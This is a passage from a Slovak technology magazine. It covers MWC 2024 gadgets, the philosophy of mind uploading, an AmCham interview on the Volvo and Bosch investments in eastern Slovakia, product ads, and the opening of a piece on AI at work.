na pochopenie správ a používateľského správania a zjednodušuje zložité 
a stereotypné úlohy do jedného kroku. Napríklad rozpoznáva adresy v 
textovej správe a nasmeruje používateľov na Mapy Google, čo umožňuje 
bezproblémovú a rýchlu navigáciu. Pokiaľ ide o sociálne siete, ako sú 
TikTok a Facebook, Magic Portal zjednodušuje prístup a zdieľanie a 
umožňuje používateľom preposielať podrobnosti o rezervácii alebo 
výsledky online vyhľadávania jednoduchým presunutím myšou. Magic 

Portal uľahčuje nakupovanie založené na obrázkoch a naviguje použí-
vateľov na platformy, kde môžu nájsť a kúpiť požadovaný tovar. 

Lenovo ThinkBook s priehľadným displejom
Vystavovaný futuristický koncept notebooku ThinkBook so 17,3-pal-
covým priehľadným micro-LED displejom poskytuje úplne transpa-
rentný obraz bez akéhokoľvek rámčeka či okrajov. Väčšinu času bol 
tento notebook vystavený v sklenenej kocke, ale občas si ho návštev-
níci mohli vyskúšať. Čiastočne priehľadná je oblasť dotykovej kláves-

nice, na jej plochu sa dá písať a kresliť elektronickým perom. Pridanou 
hodnotou tejto koncepcie je prepojenie virtuálneho a reálneho sveta. 
Priesvitný displej napríklad umožňuje interakciu s fyzickými objektmi 
za displejom a ich prekrytie digitálnymi informáciami zobrazenými na 
displeji. Vysoká sýtosť farieb v kombinácii s vysokým jasom 1000 nitov 
umožňuje optimálnu viditeľnosť vnútri aj vonku, takže je vhodná pre 
akékoľvek prostredie. 

Motorola s flexibilným displejom
Smartfóny s displejmi, ktoré možno 
zložiť, už majú v ponuke takmer 
všetci významní výrobcovia. 
Motorola vystavovala proto-
typ smartfónu s ohybným 
displejom s uhloprieč-
kou 6,9 palca, ktorý 
môžete napríklad nosiť 
na zápästí ako široký 

NOVINKY A ZAUJÍMAVOSTI  
Z MWC 2024
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V súvislosti s podujatím Mobile World Congress sa každoročne očakáva predstavenie 
zaujímavých noviniek, predovšetkým smartfónov, pretože veľa firiem načasovalo  

premiéry svojich produktov a riešení práve na MWC. 



štýlový náramok alebo zohnutý do požadovaného tvaru postaviť 
na stôl či inú podložku a uskutočniť videohovor. Je paradoxné, že 
najskôr boli predstavené smartfóny, ktorých displej sa ohýba o 180 
stupňov na polomere okolo 4 mm, a až teraz koncepcia displeja, 
ktorý sa celý ohýba na veľkom polomere, čiže je oveľa menej na-
máhaný. Samozrejme, moja prvá otázka sa týkala batérie – ako 
znáša ohýbanie. Vysvetlenie je prekvapivo jednoduché. Batéria sa 
skladá z viacerých segmentov so šírkou približne 1 cm, v ktorých 
sú jednotlivé články. Segmenty tvoriace batériu sú navzájom pre-
pojené vodičmi. Ak nosíte smartfón ohnutý okolo zápästia, bola by 
škoda nevyužiť displej na zobrazenie vhodného štýlového motívu. 
Vývojári s tým počítali. Stačí si odfotiť oblečenie a AI algoritmy 
vygenerujú vzory ladiace so štýlom oblečenia. 

Samsung Galaxy Ring
Popri nedávno predstavených vlajkových smartfónoch pútal v ex-
pozícii Samsungu veľkú pozornosť smart prsteň Galaxy Ring. Vy-
stavený bol v dvoch variantoch – čiernom a zlatom. Oba varianty 

by mali byť k dispozícii v ôsmich 
veľkostiach, takže každý si vyberie 
podľa hrúbky prsta. Žiaľ, prstene boli 
v uzavretých sklenených vitrínach, 
takže sa nedali vyskúšať. Vnútorná 
strana prsteňa je čierna a obsahuje 
senzory zdravotných a fyziologic-
kých parametrov. Smart prsteň je 
logickým vyústením snahy o naj
osobnejšie zariadenie. Spočiatku 
to bol smartfón v ruke či vo vrecku, 

následne hodinky na zápästí a potom prsteň. Smart prsteňov mo-
nitorujúcich fyziologické funkcie a/alebo umožňujúcich platenie 
je na trhu veľa. Uvidíme, ako si Samsung podarí s prepojením 
ekosystému zariadení Galaxy. Prsteň bude určite komunikovať s 
hodinkami, prípadne ich v určitých funkciách nahradí a bude ko-
munikovať s cloudovými službami prostredníctvom smartfónu. 
Prsteň určite uvítajú ľudia, ktorí chcú monitorovať kvalitu svojho 
spánku, no neradi spia s hodinkami na zápästí. 

Xiaomi 14 Ultra 
Smartfón má pevný hliníkový 
rám, povrch zadnej steny z ve-
gánskej kože Xiaomi nano-tech a 
displej chráni odolné sklo skla 
Xiaomi Shield Glass. Displej 
má rozlíšenie WQHD+, čo je 
3200 × 1440 pixelov (522 ppi), 
maximálny jas 3000 nitov a va-
riabilnú obnovovaciu frekven-
ciu 1 – 120 Hz. Elektronickým 
srdcom smartfónu je Qualcomm 
Snapdragon 8 Gen 3.

Objektív hlavného fotoa-
parátu má možnosť prepínať 
clonu z f/1,6 na f/4, teda takmer 
o tri clonové čísla, čo umožní 
realizovať kreatívne zámery s 

hĺbkou ostrosti na optickom princípe a takisto využiť pohybovú 
neostrosť pri dlhších expozičných časoch. Napríklad počas expo-
zície sledovať cyklistu, aby za ním bolo rozmazané pozadie. Mo-
bilní fotografi majú k dispozícii dva teleobjektívy, jeden s 3,2× 
zoomom a druhý periskopický s 5× zoomom. Všetky fotoaparáty 
majú snímače s rozlíšením 50 megapixelov. Objektívy využívajú 
optiku Leica Summilux. Zadný fotoaparát má ďalšie tri objektívy, 
ultraširokouhlý s ohniskovou vzdialenosťou 12 mm, teleobjektív 
75 mm a periskopický teleobjektív 120 mm. Video v rozlíšení 8K 
30fps môžete nakrúcať na všetkých štyroch fotoaparátoch. Hlavný 
fotoaparát podporuje snímanie v rozlíšení 4K 120 snímok za se-
kundu a je prispôsobený na 5× spomalené efekty. Okrem toho pri 
rozlíšení 4K ponúka zoomovanie v plnom rozsahu pri 60 snímkach 
za sekundu. Nový režim Movie umožňuje profesionálny zážitok 
z videozáznamov a zavádza postupy filmového priemyslu, ako 
je pomer strán 2,39:1 a 180° kinematické pravidlo uzávierky, čím 
poskytuje videá s autentickým filmovým vzhľadom a rozmazaním 
pohybu. Úplne nový MasterCinema kóduje videá HDR v 10-bito-
vom formáte Rec.2020, aby zachytil bohatšie detaily, svetlá a tiene, 
čím prekonáva predchádzajúci 8-bitový štandard BT.709, najmä na 
obrazovkách HDR. Režim režiséra ponúka profesionálne rozhranie 
s pokročilým ovládaním parametrov a záznam vo formáte Log na 
flexibilnú postprodukciu. 

Xiaomi SU7
Najväčší záujem návštevníkov v expozícii nepútali smartfóny, 
dokonca ani robotický pes Cyber Dog 2, ale elektromobil Xioami 
SU7. Veľa prezradil spôsob vystavenia na ohradenej otočnej plat-
forme, takže návštevníci si nemali možnosť prezrieť podrobnosti 
interiéru. Vystavované bolo ako súčasť inteligentného ekosystému 

Človek x Auto x Domov, ktorý sa zameriava na inteligentnú konek-
tivitu medzi zariadeniami, technológiu Xiaomi HyperMind, ktorá 
umožňuje zariadeniam proaktívne chápať potreby používateľov, 
a bezpečnosť. Vystavovatelia sa k tomu nechceli vyjadrovať, ale 
predpokladá sa, že elektromobil SU7 skôr či neskôr bude dostupný 
aj na európskom trhu.

»  ĽUBOSLAV LACKO 

FOTO: AUTOR, HONOR, LENOVO, XIAOMI, SAMSUNG  
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Potom si predstavte, že by sme mohli za-
znamenať všetky tieto informácie, aby 

sme vytvorili simuláciu mozgu v počítači.

Toto je koncept nahrávania mysle, ktorý 
hovorí, že jedného dňa možno budeme 
schopní previesť človeka z jeho biologic-
kého tela na syntetický hardvér. Myšlienka 
vznikla v intelektuálnom hnutí nazývanom 
transhumanizmus a má niekoľko kľúčových 
zástancov vrátane počítačového vedca 
Raya Kurzweila, filozofa Nicka Bostroma a 
neurovedca Randala Koena.

Transhumanisti dúfajú, že sa podarí pre-
konať ľudský stav prostredníctvom vedec-
kého a technologického pokroku. Veria, že 
nahrávanie mysle nám umožní žiť tak dlho, 
ako chceme. Môže nám to dokonca umož-
niť zlepšiť sa, napríklad tým, že budeme 
mať simulované mozgy, ktoré bežia rých-
lejšie a efektívnejšie ako tie biologické.

Pokúsiť sa simulovať ľudský mozog by 
však bola obrovská výzva. Náš mozog je 
najzložitejšou štruktúrou v známom ves
míre. Nachádza sa v ňom približne 86 mi-
liárd neurónov a 85 miliárd neurónových 

buniek s odhadovaným miliónom miliárd 
nervových spojení. Na porovnanie, v gala-
xii Mliečna cesta sa nachádza približne 200 
miliárd hviezd.

A ako sme na tom s vytváraním simulácií 
mozgu? V súčasnosti neurovedci zostavujú 
3D schémy zapojenia (tzv. konektómy) 
mozgov jednoduchých organizmov. Naj-
zložitejší komplexný konektóm, ktorý sme 
doteraz mali k dispozícii, je konektóm larvy 
ovocnej mušky, ktorá má približne 3000 
neurónov a 500 000 nervových spojení. 
Možno očakávať, že v priebehu nasledujú-
cich desiatich rokov sa nám podarí zmapo-
vať mozog myši.

Ľudský mozog je však asi 1000-krát 
zložitejší ako myší mozog. Trvalo by nám 
teda zmapovanie ľudského mozgu 10 000 
rokov? Pravdepodobne nie. V podobných 
projektoch, ako je napríklad projekt ľud-
ského genómu, sme zaznamenali úžasný 
nárast efektívnosti.

Zmapovanie prvého ľudského genómu 
pred 20 rokmi trvalo roky a stálo stovky 
miliónov dolárov. Dnes to najrýchlejšie la-

boratóriá zvládnu počas niekoľkých hodín 
približne za 100 dolárov. S podobným ná-
rastom efektívnosti by sme sa mohli doč-
kať technológie nahrávania mysle už za 
života našich detí alebo vnukov.

Existujú však aj iné prekážky. Vytvore-
nie statickej mapy mozgu je len jedna časť 
práce. Na simuláciu fungujúceho mozgu 
by sme potrebovali pozorovať jednotlivé 
neuróny v činnosti. Nie je zrejmé, či by sme 
to mohli dosiahnuť v blízkej budúcnosti.

Mohla by simulácia vášho mozgu vyvolať 
vedomie podobné vášmu? Odpoveď závisí 
od spojenia medzi našou mysľou a telom. 
Väčšina akademických filozofov si dnes 
myslí, že myseľ je v konečnom dôsledku 
niečo fyzické samo osebe. Jednoducho 
povedané, vaša myseľ je váš mozog. No 
ako by mohol simulovaný mozog vyvolať 
skutočnú myseľ, ak je len simuláciou?

Mnohí kognitívni vedci sa domnievajú, 
že za vytvorenie vašej vedomej mysle je 
zodpovedná zložitá nervová štruktúra 
vášho mozgu, a nie povaha jeho biologic-
kej hmoty (čo je väčšinou tuk a voda). Pri 

BUDE SA RAZ MYSEĽ  
UPLOADOVAŤ DO POČÍTAČA?
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Predstavte si, že technológia skenovania mozgu sa v nadchádzajúcich 
desaťročiach výrazne zlepší, a to až do tej miery, že budeme môcť pozorovať,  

ako každý jednotlivý neurón komunikuje s inými neurónmi. 



implementácii do počítača by simulovaný 
mozog kopíroval štruktúru vášho mozgu. 
Pre každý simulovaný neurón a nervové 
spojenie bude existovať zodpovedajúci 
kus počítačového hardvéru. Simulácia 
bude kopírovať štruktúru vášho mozgu, a 
tým aj vašu vedomú myseľ.

Dnešné systémy umelej inteligencie po-
skytujú užitočné dôkazy o štrukturálnom 
prístupe k mysli. Tieto systémy fungujú na 
umelých neurónových sieťach, ktoré kopí-
rujú niektoré štrukturálne princípy mozgu. 
A sú schopné vykonávať mnohé úlohy, 
ktoré si u nás vyžadujú veľa kognitívnej 
práce.

Predpokladajme, že možno simulovať 
ľudský mozog a že táto simulácia vytvára 
vedomú myseľ. Bol by nahraný človek 
skutočne vy, alebo len mentálny klon? 
Vraciame sa tak k starej filozofickej há-
danke: Čo spôsobuje, že keď ráno vstanete 
z postele, ste stále ten istý človek, ktorý si 
večer predtým ľahol do postele?

Filozofi sú v tejto otázke rozdelení do 
dvoch táborov. Biologický tábor sa do-
mnieva, že vaše ranné ja a večerné ja sú 

tou istou osobou, pretože ide o ten istý 
biologický organizmus, spojený jedným 
biologickým životným procesom.

Väčší mentálny tábor si myslí, že rozdiel 
spôsobuje skutočnosť, že máme myseľ. 
Ranné ja a večerné ja sú tá istá osoba, pre-
tože majú spoločný duševný život. Ranné 
ja si pamätá to, čo večerné ja – majú rov-
naké presvedčenia, nádeje, charakterové 
črty a tak ďalej.

Ktorý tábor má teda pravdu? Tu je spô-
sob, ako si otestovať vlastnú intuíciu. Pred-
stavte si, že váš mozog je transplantovaný 
do prázdnej lebky tela inej osoby. Je vý-
sledná osoba, ktorá má vaše spomienky, 
preferencie a osobnosť, vami, ako si myslí 
mentálny tábor? Alebo je to osoba, ktorá 
darovala svoje telo, ako si myslí biologický 
tábor? Inými slovami, dostali ste vy nové 
telo, alebo on dostal novú myseľ? Od tejto 
otázky závisí veľa.

Ak má pravdu biologický tábor, potom 
by nahrávanie mysle nefungovalo za 
predpokladu, že zmyslom nahrávania je 
zanechať svoju biologickú stránku. Ak 
má pravdu mentálny tábor, potom je tu 

šanca na upload, pretože nahraná myseľ 
by mohla byť skutočným pokračovaním 
súčasného mentálneho života človeka.

Lenže čo sa stane, keď pôvodné biolo-
gické vy takisto prežije proces nahrávania? 
Rozdelili by ste sa spolu so svojím vedo-
mím na dvoch ľudí, čím by vznikli dvaja 
„vy“ – jeden v biologickej podobe (B) a 
druhý v nahranej podobe (C)?

Nie, vy (A) sa nemôžete doslova rozde-
liť na dvoch samostatných ľudí (B ≠ C) a 
byť identický s oboma súčasne. Nanajvýš 
môžete byť len jedným z nich (buď A = 
B, alebo A = C). Zdá sa najintuitívnejšie, 
že po rozdelení by vaša biologická forma 
pokračovala ako skutočné vy (A = B) a na-
hratie by bolo len mentálnou kópiou. To 
však vyvoláva pochybnosti, či by ste mohli 
prežiť ako upload aj v prípade, že by bolo 
zničené biologické vy. Nanešťastie predpo-
klad umelej mysle a predpoklad prežitia sa 
nedajú presvedčivo empiricky otestovať – 
museli by sme sa skutočne nahrať, aby sme 
to zistili.

»  ZDROJ  THECONVERSATION.COM/

ÚVODNÝ OBR. ZDROJ: WANGXINA ON FREEPIK
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ROZHOVOR: KATARÍNA MIŇOVÁ,  
REGIONÁLNA MANAŽÉRKA  
AMCHAM KOŠICE

Katarína má ukončené vzdelanie  
v odbore medzinárodných 
vzťahov a politických vied (PhD.). 
V Americkej obchodnej komore 
začínala pôsobiť ako policy officer 
v roku 2021, od roku 2022 pracuje 
ako regionálna manažérka 
východoslovenskej kancelárie 
AmCham. Má na starosti  
všetky regionálne aktivity  
komory vrátane iniciatívy 
Mapovanie súčasného 
potenciálu východného 
Slovenska, ktorej  
výstupom je zoznam  
18 konkrétnych riešení  
pre rozvoj východného 
Slovenska.

VOLVO  
A BOSCH  
MÔŽU  
PRINIESŤ  
ČERSTVÝ  
VIETOR  
NA  
VÝCHOD



15MAREC 2024

MAGAZÍN

Prečo príchod investície Volvo 
Cars a Bosch musí pre východné Sloven-
sko znamenať transformáciu?

Katarína Miňová: Tak ako celý svet aj vý-
chodné Slovensko prechádza transformač-
nými zmenami. Zasahujú nás megatrendy, 
ako je klimatická kríza, starnutie populácie 
či rapídne technologické skoky. No a noví 
investori pre východné Slovensko zname-
najú v kontexte týchto megatrendov veľkú 
príležitosť redefinovať tradičnú indus
triálnu paradigmu. Zároveň sa však bu-
deme musieť vyrovnať s lokálnymi výzvami, 
ako je periférna poloha v rámci krajiny a 
EÚ (tá napríklad okrem iného zapríčiňuje 
aj výrazný odliv mozgov z regiónu), ako 
aj vnútorné disparity medzi jednotlivými 
časťami východu. Volvo aj Bosch prinášajú 
organizačnú kultúru vyspelých nemeckých 
a škandinávskych krajín, ktorá je charakte-
ristická vysokou mierou dôvery, environ-
mentálneho uvedomenia a technologickej 
vyspelosti. Obe investície a potenciálne 
ďalšie, o ktorých prebiehajú rokovania, 
posúvajú región do strategickej roly nie-
len pre Slovensko, ale aj pre západnú časť 
Ukrajiny a susedské regióny v Poľsku a v 
Maďarsku. Investori spolu plánujú zamest-
nať priamo vyše 10-tisíc zamestnancov v 
prvej fáze, pričom ďalšie tisíce pracovných 
miest vzniknú v nadväzujúcich dodávateľ-
ských odvetviach. Majú prirodzený zámer 
rozvíjať svoje podnikanie, ale so silnou spo-
ločenskou zodpovednosťou k regiónu, v 
ktorom budú pôsobiť, pretože majú záujem 
na prosperovaní regionálnej aj národnej 
ekonomiky, ku ktorej budú sami prispie-
vať. Ak chceme maximalizovať potenciál 
prichádzajúcich investícií pre východné 
Slovensko, je nevyhnutné pracovať na roz-
voji regionálneho ekosystému vo všetkých 
oblastiach – od fungovania inštitúcií cez 
dopravnú infraštruktúru, vzdelávací sys-
tém až po rozvoj služieb a iniciatív, ktoré 
prispievajú ku kvalite života obyvateľov re-
giónu. Ak túto príležitosť skutočne využi-
jeme, všetky tieto postupné zmeny povedú 
k tomu, že približne o necelé desaťročie už 
budeme môcť skonštatovať – áno, východ 
opäť prešiel transformáciou.

Ak v súčasnosti hovoríme o 
štádiu transformácií, aké fázy vývoja 
ekonomiky v regióne toto štádium 
predchádzali?

Katarína Miňová: Niekoľko obdobných 
zmien, rozsiahlych posunov vo svojom 
vývoji, už východné Slovensko zažilo. 
Preto sme dnes aj atraktívnym miestom 
pre ďalších investorov. V mnohých oblas-
tiach stále máme priestor na zlepšenie, ale 

máme skúsenosti, na ktorých vieme toto 
zlepšenie postaviť. Industriálny charakter 
Košíc a prudký rozvoj mesta naštartovala 
lokalizácia VSŽ pred šesťdesiatimi rokmi. 
Silný hutnícky priemysel a univerzity vytvo-
rili bázu pre príchod IT firiem po roku 1990, 
ktoré kontinuálne spolupracujú na prerode 
Košickej kotliny na moderný IT hub. To bolo 
ešte akoby symbolicky podčiarknuté aj prí-
chodom veľkých výrobných hráčov ako 
Whirlpool či, samozrejme, U.S. Steel. Ďalší 
impulz nastal pred desiatimi rokmi, keď 
Košice boli Európskym hlavným mestom 
kultúry, keď sa do popredia dostali aj krea-
tívne a kultúrne odvetvia, ktoré prispievajú 
ku kvalite života a blahobytu obyvateľov. 
Dnes prichádza príležitosť na ďalší kvali-
tatívny rozvoj v regionálnom priemysle, 
ktorý stále ostáva nosným ekonomickým 
sektorom.

Aký je súčasný stav ekosystému 
východného Slovenska z pohľadu dát? 

Katarína Miňová: Noví prichádzajúci in-
vestori s nadväzujúcimi dodávateľskými 
reťazcami vytvoria viac ako 10 000 pracov-
ných miest v priebehu najbližších piatich 
rokov. V tom istom čase však z východ-
ného Slovenska ročne odchádza do zahra-
ničia študovať približne 22 % absolventov 
vysokých škôl. Dostupnosť kvalifikovanej 
pracovnej sily zostáva najväčšou výzvou, 
pretože na celom Slovensku momentálne 
pracuje iba okolo 100 000 cudzincov a len 
veľmi malý zlomok z nich priamo na vý-
chode. Žiadna hospodárska transformácia 
sa nezaobíde bez príchodu kvalitných ľudí 
zo zahraničia.

Čo sa týka otázky dostupnosti bývania 
pre týchto ľudí, aktuálne na jeden byt to 
na východe vychádza približne na 2,5 oby-
vateľa, na porovnanie, v Bratislave je to 
1,9 obyvateľa. V Košiciach máme nedosta-
tok bytov v požadovanej kvalite (vrátane 
tých nájomných), pričom tento nedostatok 
vyháňa ceny nahor (od roku 2017, keď sa 
cena za 1 m2 pohybovala na úrovni 1000 
eur, sme na úrovni 2220 eur v 1. štvrťroku 
2023).

Z pohľadu kvality verejných služieb ešte 
môžeme spomenúť zdravotníctvo. Na vý-
chode chýba takmer 12 000 pracovníkov, 
zároveň máme na našom území polovicu 
slovenských najlepších malých a stredných 
nemocníc. Toto je potenciál, ktorý potre-
bujeme využiť.

A nakoniec, čo sa týka dopravnej in-
fraštruktúry, ročne automobilová doprava 
na východe narastá o 2 %, ale v prípade, 
že by sa všetci budúci zamestnanci prie-

myselného parku dopravovali do práce 
individuálne autami, dopravné modely 
predpokladajú kolaps väčšiny svetelných 
križovatiek na hlavných ťahoch v Koši-
ciach. V rádiuse 0,5 km od priemyselného 
parku Valaliky sa nachádza železničná trať, 
ktorá môže veľmi dobre fungovať na účely 
prepravy zamestnancov závodu, ako aj na 
exportné účely. Na to však nevyhnutne 
potrebujeme investovať do modernizácie 
technológie na železničnej stanici v Koši-
ciach, ktorá má viac ako 50 rokov a je vý-
razne limitujúca pre jej priepustnosť.

Ktorý z týchto indikátorov vní-
mate ako najproblematickejší a prečo?

Katarína Miňová: Jednoznačne je to otázka 
kapacít pracovného trhu, resp. budúcej 
potreby, ktorá v súvislosti s novými in-
vestormi vznikne na východe. V tomto 
smere má východné Slovensko obrovský 
potenciál, ktorý nevyužíva systematicky a 
efektívne. Jedna jeho časť drieme v mar-
ginalizovaných komunitách, pretože 75 % 
rómskej populácie na Slovensku (50 000 
ľudí) žije práve na východe. 

Druhá jeho časť sa nachádza za našimi 
hranicami. Z takmer štvrť milióna Slová-
kov a Sloveniek, ktorí v zahraničí žijú, by 
sa určite mnohí radi vrátili domov, ale 
nevidia možnosti uplatnenia sa, prípadne 
možnosti zabezpečiť si kvalitu života, na 
akú sú v zahraničí zvyknutí. Pritom neraz 
to už nie je úplne nemožné. Zároveň z 
približne 100 000 cudzincov pracujúcich 
na Slovensku len zlomok pracuje na vý-
chode, čo je na to, akú strategickú polohu 
východné Slovensko má v rámci karpat-
ského regiónu, opäť priestor na zlepšenie, 
resp. na lepšie využívanie potenciálu byť 
„hubom“ pre ľudí prichádzajúcich z tretích 
krajín, hľadajúcich lepšiu kvalitu života na 
území EÚ čo najbližšie k svojej domovskej 
krajine. Musíme sa však naučiť, ako trh a 
miesto na život predať v týchto krajinách. 
Ilustrovať nevyužitý potenciál možno už 
len na prípade Ukrajiny. Dnešný pomer 
ukrajinských študentov na vysokých ško-
lách v Košiciach bežne v ročníku dosa-
huje aj 30 – 40 %. Zároveň sa tu nachádza 
okolo 12 000 ľudí, ktorí ušli pred vojnou 
z Ukrajiny. Mnohí z nich sa po skončení 
štúdia či naskytnutí možnosti radšej vra-
cajú domov, prípadne odchádzajú ďalej 
na západ a ani neuvažujú o možnosti zo-
stať tu, pretože ich k tomu nedokážeme 
správne motivovať, ba dokonca naopak – 
mnohí si v dôsledku náročnej byrokracie 
ani po rokoch štúdia nevedia na našich 
úradoch vybaviť povolenie na pracovný 
pobyt. 
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IQOS ILUMA  
REFRESHED

Nielen šatníku, nábytku alebo vzťahom treba dať druhú šancu. „Refreš“ 
si zaslúži aj technika. Práve s týmto cieľom prichádza na slovenský trh 

bezdymové repasované zariadenie IQOS ILUMA Refreshed, ktoré však stále 
spĺňa tie najvyššie kritériá kvality. 

Spoločnosť Philip Morris zbiera použité náplne a zariadenia a po novom 
uvádza do predaja aj repasované modely IQOS ILUMA Refreshed. Tie predsta-
vujú renovované, už použité zariadenia, ktoré dospelý používateľ odovzdal na 
jednom zo zberných miest v predajniach IQOS na celom Slovensku.

Pri zariadeniach vhodných na opätovné použitie dochádza napríklad k výmene 
chybných dielov alebo k výmene batérie, ak má zníženú kapacitu. Celé zaria-
denie je vyčistené, dezinfikované a vyleštené a samozrejmosťou je aktualizá-
cia firmvéru. Repasované zariadenia, označené na svojom vonkajšom balení 
samolepkou „Refreshed“, idú následne do predaja na vybraných miestach za 
zvýhodnenú cenu. 

Bezdymové zariadenia IQOS nie sú bez rizika. Dodávajú nikotín, ktorý je návykový. Sú určené len 
pre dospelých, ktorí by inak pokračovali vo fajčení alebo užívaní iných nikotínových výrobkov.
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PRINÁŠA STOPERCENTNÚ KVALITU ZA ZVÝHODNENÚ CENU!
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Ak porovnávame príchod auto-
mobilky KIA do Žiliny alebo Jaguáru do 
Nitry, v čom sa Volvo ako investor líši?

Katarína Miňová: V súvislosti s príchodom 
tohto investora je kľúčové prepojenie vý-
robného sveta so svetom technológií pod 
dáždnikom udržateľnosti a ochrany život-
ného prostredia. Očakáva sa, že Volvo ne-
bude len výrobnou linkou, ale pokiaľ na 
to bude mať v lokálnom ekosystéme mož-
nosti, na výrobu by mal postupom času 
nadväzovať aj výskum a vývoj, odzrkadľu-
júce v sebe všetky megatrendy, ktoré dnes 
hýbu svetom. Volvo prináša organizačnú 
kultúru vyspelej škandinávskej krajiny, 
ktorá je charakteristická vysokou mierou 
dôvery, environmentálneho uvedomenia 
a technologickej vyspelosti. Práve dôvera 
je bazálna súčasť každej demokratickej 
spoločnosti. Dôvera v inštitúcie verejnej 
správy medzi súkromnými subjektmi, ale aj 
základná, medziľudská dôvera, ktorá bez-
prostredne súvisí s ochotou stretávať sa, 
komunikovať, zdieľať informácie a spolu-
pracovať na úrovni jednotlivcov a skupín. 
Tie kreujú komunity, občianstvo, dôve-
ryhodných partnerov v každom sektore 
a majú potenciál tvoriť identitu demokra-
tickej, otvorenej a hodnotovo ukotvenej 
spoločnosti. 

Čo by sa malo udiať, aby príchod 
Volva znamenal pre východné Sloven-
sko nielen príchod nového zamestnáva-

teľa, ale skutočnú investíciu s pridanou 
hodnotou?

Katarína Miňová: Východné Slovensko by 
malo robiť všetko preto, aby využilo potenciál 
prichádzajúcej investície a postupne vytvo-
rilo lokálny ekosystém, ktorý každý výrobca 
potrebuje v prostredí, ktoré ho obklopuje, 
nájsť na to, aby mohol svoju výrobu obohatiť 
o výskumný a vývojový segment. To nemožno 
realizovať bez lokálneho vyspelého inovač-
ného ekosystému, bez synergie v univerzit-
nom a vzdelávacom ekosystéme, bez stratégie 
miest a krajov sústredených na braingain, bu-
dujúcich región. Ten dokáže byť zaujímavý 
pre domáce, ale i zahraničné talenty a ponúka 
atraktívne a konkurencieschopné možnosti 
vo všetkých oblastiach potrebných pre život 
– od verejných služieb cez možnosti podni-
kania, práce, štúdia, bývania, dopravy až po 
možnosti vedy, výskumu a inovácií. Východné 
Slovensko sa potrebuje stať atraktívnym, vi-
diteľným a známym miestom nielen pre in-
vestorov, ale pre všetkých. Potrebujeme na to 
brand, komunikačnú stratégiu a najmä vôľu 
spájať sily naprieč našimi mestami a krajmi.

Ktoré kroky treba v horizonte 24 
mesiacov vykonať na to, aby v roku 2026 
bol región na spustenie závodu pripra-
vený?

Katarína Miňová: V horizonte nasledujúcich 
dvoch rokov jednoznačne potrebujeme 
myslieť na infraštruktúru – dopravnú, bytovú, 
energetickú. Sú to v podstate všetko odporú-

čania, ktoré sme ako komora práve publikovali 
v našom pozičnom dokumente regionálneho 
piliera. Je napríklad dôležité dobudovať diaľ-
ničné prepojenie s Bratislavou, rýchlostnú 
cestu R2/R4 v plnom rozsahu, ale zároveň 
priorizovať verejnú dopravu v mestách – mo-
dernizovať staničné zabezpečovacie zariade-
nie v Košiciach, posilniť autobusovú dopravu, 
zavádzať prvky preferencie verejnej dopravy 
(autobusové pruhy a pod.). Samozrejme, kľú-
čové sú takisto letecké spojenia. 

Zároveň je mimoriadne dôležité aktívne rie-
šiť otázku nájomného bývania a okrem iného 
aj rozšírenia kapacít a portfólia medzinárod-
ných základných a stredných škôl na východe.

V súvislosti s nastavovaním dlhodobých 
verejných politík a stratégií treba takisto nájsť 
systematické riešenie, ktoré pomôže lepšie 
využívať potenciál skrývajúci sa v marginali-
zovaných komunitách a postupne budovať 
značku regiónu ako miesta atraktívneho pre 
život a komunikovať o tom s pracovnou silou 
v zahraničí vrátane diaspóry.

Keby ste mali pomenovať tri fak-
tory úspechu transformácie a využitia 
potenciálu regiónu, ktoré by to boli?

Katarína Miňová: Dôvera, otvorená komu-
nikácia a spolupráca. Bez týchto troch ele-
mentov sa ako jednotlivci, skupiny, regióny 
či krajiny nezaobídeme, čokoľvek veľkolepé 
by sme mali na pláne. 

Ďakujeme za rozhovor. 
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VÝNIMOČNÝ  
VÝKON

VÝKONNÝ HERNÝ   
A STREAMOVACÍ PROCESOR
Cenovo dostupný procesor, ktorý je parametrami vyvážený pre 

skutočných nadšencov počítačov s architektúrou Zen 3. Pro-

cesor AMD RyzenTM 7 5700 s 8 jadrami, 16 vláknami a turbo 

frekvenciami až 4,6 GHz s 20 MB celkovej vyrovnávacej pamäte 

vám dáva konkurenčnú výhodu.

OVERENÉ TECHNOLÓGIE OD AMD
Všetky procesory AMD RyzenTM 5000 Series sa dodávajú s kom-

pletnou súpravou procesorových technológií AMD RyzenTM, 

navrhnutých na zvýšenie výpočtového výkonu vášho počítača, 

vrátane Precision Boost Z a Precision Boost Overdrive.

TECHNICKÉ ŠPECIFIKÁCIE - desktop procesor AMD RYZEN™ 7 5700

Jadrá/ 
Vlákna

8/16

Max.  
Boost

Až 4,6 GHz

Celková  
vyrovnávacia pamäť

20 MB

Architektúra

Zen 3

TDP

65 W

Odomknuté na 
pretaktovanie

Áno 
Boost Overdrive

Chladič

Zahrnuté

STAVAJTE S DÔVEROU
Nielenže sú tieto procesory pripravené na inštaláciu na podpo-

rovaných základných doskách AMD 500, 400 a 300* s jednodu-

chou aktualizáciou B105, ale svoj procesor môžete jednoducho 

vyladiť pomocou technológie AMD RyzenTM Master.

* Vybrané základné dosky môžu vyžadovať aktualizáciu systému BIOS na zá-

klade dátumu výroby alebo nákupu

AMD RYZENTM 7 5700 PROCESOR

Produkt je možné zakúpiť: www.DATACOMP.sk



Takmer tri štvrtiny (70 %) respondentov 
uviedli, že by chceli delegovať čo najviac 

práce na umelú inteligenciu, aby sa znížilo 
ich súčasné pracovné zaťaženie.

Hoci sa zdá, že v tomto bode panuje ši-
roká zhoda, menej sa ľudia zhodujú v tom, 
ako bude vyzerať budúce pracovisko. Pri-
najmenšom v najbližšom období bude AI 
dopĺňať ľudských pracovníkov s cieľom zvý-
šiť produktivitu, čím sa zabráni rozsiahlemu 
prepúšťaniu pracovnej sily. Väčšina pracov-
níkov, ktorých nedávno oslovila spoločnosť 
The Conference Board, uviedla, že už v práci 
využíva generatívnu umelú inteligenciu (gen 
AI) na úlohy, ako je pomoc pri písaní, inte-
ligentné vyhľadávanie, analýza údajov a vy-
tváranie obrázkov.

Podľa analytičky spoločnosti Gartner Mary 
Mesaglio sa stroje „vyvíjajú od toho, aby boli 
našimi nástrojmi, k tomu, aby sa stali našimi 
spoluhráčmi“. Spoločnosť Gartner predpo-
vedá, že do roku 2025 bude gen AI part-
nerom pre pracovnú silu v 90 percentách 
spoločností na celom svete.

Táto úloha „tímového partnera“ však môže 
byť len prechodná. Jedným z náznakov, že 
by mohlo ísť o prechodnú fázu, je vznikajúca 
schopnosť chatbotov stať sa autonómnymi 
agentmi. Časom by sa agenty s umelou inte-
ligenciou mohli stať oveľa sofistikovanejšími 
